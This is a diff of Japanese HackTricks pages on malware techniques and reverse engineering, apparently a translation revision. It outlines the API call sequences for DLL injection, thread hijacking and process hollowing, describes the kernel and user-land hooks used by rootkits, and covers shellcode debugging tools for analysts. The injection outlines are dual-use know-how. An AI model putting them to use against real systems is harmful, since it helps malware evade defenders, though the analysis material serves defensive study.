* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 - 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
- **Discordグループ**に参加💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** - **Discordグループ**に参加💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 - **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -112,17 +112,17 @@ HackTricksをサポートする他の方法
他のプロセス内で任意のDLLを実行 他のプロセス内で任意のDLLを実行
1. 悪意のあるDLLをインジェクトするプロセスを特定CreateToolhelp32Snapshot、Process32First、Process32Next 1. 悪意のあるDLLをインジェクトするプロセスを特定するCreateToolhelp32Snapshot、Process32First、Process32Next
2. プロセスを開くGetModuleHandle、GetProcAddress、OpenProcess 2. プロセスを開くGetModuleHandle、GetProcAddress、OpenProcess
3. DLLへのパスをプロセス内に書き込むVirtualAllocEx、WriteProcessMemory 3. DLLへのパスをプロセス内に書き込むVirtualAllocEx、WriteProcessMemory
4. 悪意のあるDLLをロードするプロセス内のスレッドを作成CreateRemoteThread、LoadLibrary 4. 悪意のあるDLLをロードするプロセス内のスレッドを作成するCreateRemoteThread、LoadLibrary
その他の使用する関数NTCreateThreadEx、RtlCreateUserThread その他の使用する関数NTCreateThreadEx、RtlCreateUserThread
### 反射型DLLインジェクション ### 反射型DLLインジェクション
通常のWindows API呼び出しを行わずに悪意のあるDLLをロードします。\ 通常のWindows API呼び出しを行わずに悪意のあるDLLをロードす。\
DLLはプロセス内にマップされ、インポートアドレスを解決し、再配置を修正し、DllMain関数を呼び出します。 DLLはプロセス内にマップされ、インポートアドレスを解決し、再配置を修正し、DllMain関数を呼び出す。
### スレッドハイジャッキング ### スレッドハイジャッキング
@ -130,46 +130,46 @@ DLLはプロセス内にマップされ、インポートアドレスを解決
1. ターゲットスレッドを見つけるCreateToolhelp32Snapshot、Thread32First、Thread32Next 1. ターゲットスレッドを見つけるCreateToolhelp32Snapshot、Thread32First、Thread32Next
2. スレッドを開くOpenThread 2. スレッドを開くOpenThread
3. スレッドを一時停止SuspendThread 3. スレッドを一時停止するSuspendThread
4. 被害者プロセス内に悪意のあるDLLへのパスを書き込むVirtualAllocEx、WriteProcessMemory 4. 被害者プロセス内に悪意のあるDLLへのパスを書き込むVirtualAllocEx、WriteProcessMemory
5. ライブラリをロードするスレッドを再開ResumeThread 5. ライブラリをロードするスレッドを再開するResumeThread
### PEインジェクション ### PEインジェクション
Portable Execution Injection実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行されます Portable Execution Injection実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行され
### プロセスホローイング ### プロセスホローイング
マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードしま マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードす
1. 新しいプロセスを作成CreateProcess 1. 新しいプロセスを作成するCreateProcess
2. メモリをアンマップZwUnmapViewOfSection、NtUnmapViewOfSection 2. メモリをアンマップするZwUnmapViewOfSection、NtUnmapViewOfSection
3. プロセスメモリに悪意のあるバイナリを書き込むVirtualAllocEc、WriteProcessMemory 3. プロセスメモリに悪意のあるバイナリを書き込むVirtualAllocEc、WriteProcessMemory
4. エントリポイントを設定して実行SetThreadContext、ResumeThread 4. エントリポイントを設定して実行するSetThreadContext、ResumeThread
## フック ## フック
* **SSDT****System Service Descriptor Table**はカーネル関数ntoskrnl.exeまたはGUIドライバwin32k.sysを指し、ユーザープロセスがこれらの関数を呼び出すことができます。 * **SSDT****System Service Descriptor Table**はカーネル関数ntoskrnl.exeまたはGUIドライバwin32k.sysを指し、ユーザープロセスがこれらの関数を呼び出すことができるようにします。
* ルートキットはこれらのポインタを制御するアドレスに変更する可能性があります * ルートキットはこれらのポインタを制御するアドレスに変更する可能性があります
* **IRP****I/O Request Packets**はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトには独自の関数テーブルがあり、これをフックすることができますDKOMDirect Kernel Object Manipulation * **IRP****I/O Request Packets**はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトにはフックできる関数テーブルがありますDKOMDirect Kernel Object Manipulation
* **IAT****Import Address Table**)は依存関係を解決するために役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることが可能です。 * **IAT****Import Address Table**)は依存関係を解決するに役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることができます。
* **EAT****Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目標は、DLLによってエクスポートされた関数をフックすることです。 * **EAT****Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目標は、DLLによってエクスポートされた関数をフックすることです。
* **インラインフック**:このタイプは難しいです。これには関数自体のコードを変更することが含まれます。たとえば、この先頭にジャンプを配置することがあります。 * **インラインフック**:このタイプは難しいです。これは関数自体のコードを変更することを含みます。たとえば、これを行うためには、この関数の先頭にジャンプを配置するなどの方法があります。
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 - 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
- **Discordグループ**に参加💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** - **Discordグループ**に参加💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、ハッキングのテクニックを共有してください。** * **HackTricks**の[**GitHub**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のリポジトリにPRを送信して、あなたのハッキングテクニックを共有してください。

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,44 +26,44 @@ HackTricksをサポートする他の方法
ソフトウェア: ソフトウェア:
- ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit) * ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
## Wasmデコンパイラ/Watコンパイラ ## Wasmデコンパイラ/Watコンパイラ
オンライン: オンライン:
- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasmバイナリからwatクリアテキストに**デコンパイル**します * [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasmバイナリからwatクリアテキストに**デコンパイル**します
- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します * [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します
- [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます * [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます
ソフトウェア: ソフトウェア:
- [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) * [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
- [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) * [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
## .NETデコンパイラ ## .NETデコンパイラ
### [dotPeek](https://www.jetbrains.com/decompiler/) ### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeekは、**ライブラリ**.dll、**Windowsメタデータファイル**.winmd、および**実行可能ファイル**.exeなど、複数の形式を**デコンパイルおよび調査**します。デコンパイルされたアセンブリは、Visual Studioプロジェクト.csprojとして保存できます。 dotPeekは、**ライブラリ**.dll、**Windowsメタデータファイル**.winmd、および**実行可能ファイル**.exeを含む複数の形式を**デコンパイルおよび調査**します。デコンパイルされたアセンブリは、Visual Studioプロジェクト.csprojとして保存できます。
ここでのメリットは、失われたソースコードを復元する必要がある場合、このアクションが時間を節約できることです。さらに、dotPeekは、デコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。 ここでのメリットは、失われたソースコードを復元する場合、このアクションが時間を節約できることです。さらに、dotPeekは、デコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析に最適なツール**の1つです。
### [.NET Reflector](https://www.red-gate.com/products/reflector/) ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう 包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう
- データがライブラリやコンポーネントを通過する方法に洞察を提供します * データがライブラリやコンポーネントを通過する方法についての洞察を提供します
- .NET言語やフレームワークの実装と使用方法に洞察を提供します * .NET言語やフレームワークの実装と使用についての洞察を提供します
- 使用されているAPIや技術からより多くの情報を取得するために未記載および非公開の機能を見つけます * 使用されるAPIや技術からより多くの情報を取得するために未記載および非公開の機能を見つけます
- 依存関係や異なるアセンブリを見つけます * 依存関係や異なるアセンブリを見つけます
- コード、サードパーティのコンポーネント、およびライブラリのエラーの正確な場所を特定します * コード、サードパーティのコンポーネント、およびライブラリのエラーの正確な場所を特定します
- 作業しているすべての.NETコードのソースにデバッグします * 作業するすべての.NETコードのソースにデバッグします
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode)任意のOSで使用できますVSCodeから直接インストールでき、gitをダウンロードする必要はありません。**Extensions**をクリックして**ILSpy**を検索します)。\ [Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode)任意のOSで使用できますVSCodeから直接インストールできます。**Extensions**をクリックして**ILSpy**を検索します)。\
**デコンパイル**、**変更**、そして**再コンパイル**する必要がある場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそれを積極的にメンテナンスしているフォークの[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック -> メソッドの変更**)。 **デコンパイル**、**変更**、そして**再コンパイル**が必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそれのアクティブにメンテナンスされているフォーク、[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック -> メソッドの変更**)。
### DNSpyログ ### DNSpyログ
@ -100,9 +100,9 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../.gitbook/assets/image (279).png>) ![](<../../.gitbook/assets/image (279).png>)
これは必要です。なぜなら、これを行わないと、**実行時**にいくつかの**最適化**がコードに適用され、**デバッグ**中に**ブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。 これは必要です。なぜなら、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ中にブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。
その後、.NETアプリケーションが**IIS**によって**実行**されている場合は、次のように**再起動**できます: その後、.NETアプリケーションが**IIS****実行**されている場合は、次のように**再起動**できます:
``` ```
iisreset /noforce iisreset /noforce
``` ```
@ -114,13 +114,13 @@ iisreset /noforce
![](<../../.gitbook/assets/image (281).png>) ![](<../../.gitbook/assets/image (281).png>)
プロセスのデバッグが開始されたので、プロセスを停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_Debug >> Windows >> Modules_をクリックします: プロセスのデバッグが開始されたので、プロセスを停止してすべてのモジュールをロードします。まず、_Debug >> Break All_ をクリックし、次に _**Debug >> Windows >> Modules**_ をクリックします:
![](<../../.gitbook/assets/image (286).png>) ![](<../../.gitbook/assets/image (286).png>)
![](<../../.gitbook/assets/image (283).png>) ![](<../../.gitbook/assets/image (283).png>)
**モジュール**の中の任意のモジュールをクリックし、**Open All Modules**を選択します: **モジュール**の任意のモジュールをクリックし、**Open All Modules**を選択します:
![](<../../.gitbook/assets/image (284).png>) ![](<../../.gitbook/assets/image (284).png>)
@ -135,7 +135,7 @@ iisreset /noforce
## Debugging DLLs ## Debugging DLLs
### IDAを使用する ### Using IDA
* **rundll32をロード**64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe * **rundll32をロード**64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe
* **Windbgデバッガー**を選択 * **Windbgデバッガー**を選択
@ -147,22 +147,22 @@ iisreset /noforce
![](<../../.gitbook/assets/image (136).png>) ![](<../../.gitbook/assets/image (136).png>)
その後、デバッグを開始すると、**各DLLがロードされるたびに実行が停止**されます。そのため、rundll32がDLLをロードすると実行が停止します。 その後、デバッグを開始すると、**各DLLがロードされるたびに実行が停止**され、rundll32がDLLをロードすると実行が停止します。
しかし、ロードされたDLLのコードにどのようにアクセスできますか?この方法を使用して、その方法はわかりません。 しかし、ロードされたDLLのコードにどうやってアクセスできるのでしょうか?この方法を使用しても、私は方法がわかりません。
### x64dbg/x32dbgを使用する ### Using x64dbg/x32dbg
* **rundll32をロード**64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe * **rundll32をロード**64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe
* コマンドラインを変更_File --> Change Command Line_し、dllのパスと呼び出したい関数を設定します。例 "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain * **コマンドラインを変更** _File --> Change Command Line_ し、dllのパスと呼び出したい関数を設定します。例 "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Options --> Settings_を変更し、**DLL Entry**を選択します。 * _Options --> Settings_ を変更し、**"DLL Entry"**を選択します。
* その後、**実行を開始**し、デバッガーは各dllメインで停止します。いずれかの時点で、**dll Entry of your dll**で実行が停止します。そこから、ブレークポイントを設定したいポイントを検索します。 * その後、**実行を開始**し、デバッガーは各dllメインで停止します。いずれかの時点で、**あなたのdllのdllエントリで停止**します。そこから、ブレークポイントを設定したいポイントを検索します。
実行がwin64dbgで何らかの理由で停止されると、**win64dbgウィンドウの上部**にいる**どのコードを見ているか**が表示されます: 実行がwin64dbgで何らかの理由で停止されると、**win64dbgウィンドウの上部**にいる**どのコードを見ているか**が表示されます:
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
その後、実行が停止されたdll内のコードを確認できます。 その後、デバッグが停止されたdll内のコードを確認できます。
## GUIアプリ/ビデオゲーム ## GUIアプリ/ビデオゲーム
@ -178,31 +178,31 @@ iisreset /noforce
## シェルコード ## シェルコード
### Blobrunnerを使用してシェルコードをデバッグする ### Blobrunnerを使用したシェルコードのデバッグ
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、メモリ空間内に**シェルコード**を**割り当て**し、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\ [**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**シェルコード**をメモリ空間に**割り当て**し、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\
その後、プロセスにデバッガーIdaまたはx64dbgを**アタッチ**し、指定されたメモリアドレスに**ブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードをデバッグできます。 その後、プロセスにデバッガーIdaまたはx64dbgを**アタッチ**し、指定されたメモリアドレスに**ブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードのデバッグが行われます。
リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ リリースのgithubページには、コンパイルされたリリースが含まれるzipファイルがあります[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
以下のリンクにBlobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。 以下のリンクにBlobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。
{% content-ref url="blobrunner.md" %} {% content-ref url="blobrunner.md" %}
[blobrunner.md](blobrunner.md) [blobrunner.md](blobrunner.md)
{% endcontent-ref %} {% endcontent-ref %}
### jmp2itを使用してシェルコードをデバッグする ### jmp2itを使用したシェルコードのデバッグ
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)はBlobrunnerに非常に似ています。**シェルコード**を**メモリ空間に割り当て**、**永遠のループ**を開始します。その後、プロセスにデバッガーを**アタッチ**し、**開始して2〜5秒待機してから停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプしてシェルコードを呼び出し、最終的にシェルコードを実行します。 [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)はBlobrunnerに非常に似ています。**シェルコード**をメモリ空間に**割り当て**、**永遠のループ**を開始します。その後、プロセスに**デバッガーをアタッチ**し、**開始**を再生して2〜5秒待って**停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプして、最終的にシェルコードを実行することができます。
![](<../../.gitbook/assets/image (397).png>) ![](<../../.gitbook/assets/image (397).png>)
[リリースページ内でjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。 [リリースページ内でjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。
### Cutterを使用してシェルコードをデバッグする ### Cutterを使用したシェルコードのデバッグ
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)はradareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。 [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)はradareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。
Cutterを使用すると、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開くと正しく逆コンパイルされましたが、シェルコードとして開くとできませんでした: Cutterを使用すると、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開くと正しく逆コンパイルされましたが、シェルコードとして開くと逆コンパイルされませんでした:
![](<../../.gitbook/assets/image (400).png>) ![](<../../.gitbook/assets/image (400).png>)
@ -210,16 +210,14 @@ Cutterを使用すると、「ファイルを開く」と「シェルコード
![](<../../.gitbook/assets/image (399).png>) ![](<../../.gitbook/assets/image (399).png>)
![](<../../.gitbook/assets/image (401).png>)
例えば、ヘックスダンプ内でスタックを表示できます: 例えば、ヘックスダンプ内でスタックを表示できます:
![](<../../.gitbook/assets/image (402).png>) ![](<../../.gitbook/assets/image (402).png>)
### シェルコードの逆コンパイルと実行される関数の取得 ### シェルコードの逆難読化と実行される関数の取得
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみてください。\ [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみてください。\
シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**されているかどうかなどがわかります。 シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**されているかどうかなどを教えてくれます。
```bash ```bash
scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run scdbg.exe -f shellcode -r #show analysis report at end of run
@ -228,24 +226,24 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
``` ```
scDbgには、グラフィカルなランチャーも付属しており、希望するオプションを選択してシェルコードを実行することができます。 scDbgには、グラフィカルなランチャーも備わっており、希望するオプションを選択してシェルコードを実行することができます。
![](<../../.gitbook/assets/image (398).png>) ![](<../../.gitbook/assets/image (398).png>)
**Create Dump** オプションは、メモリ内でシェルコードが動的に変更された場合に最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset** は特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell** オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに役立ちますただし、前述のいずれかのオプションの方がこの問題にはより適していると考えています。Idaまたはx64dbgを使用できるため **Create Dump** オプションは、メモリ内でシェルコードが動的に変更された場合に最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset** は特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell** オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに役立ちますただし、前述のいずれかのオプションの方がこの問題にはより適していると考えます。Idaやx64dbgを使用できるため
### CyberChefを使用した逆アセンブ ### CyberChefを使用した逆アセンブ
シェルコードファイルを入力としてアップロードし、次のレシピを使用して逆コンパイルします:[https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) シェルコードファイルを入力としてアップロードし、次のレシピを使用して逆コンパイルします:[https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
この難読化ツールは、すべての`mov`命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作の詳細については以下を参照してください: この難読化ツールは、すべての `mov` 命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作方法の詳細については以下を参照してください:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator)がバイナリを復号化します。いくつかの依存関係があります。 幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator) がバイナリを復号化するでしょう。いくつかの依存関係があります。
``` ```
apt-get install libcapstone-dev apt-get install libcapstone-dev
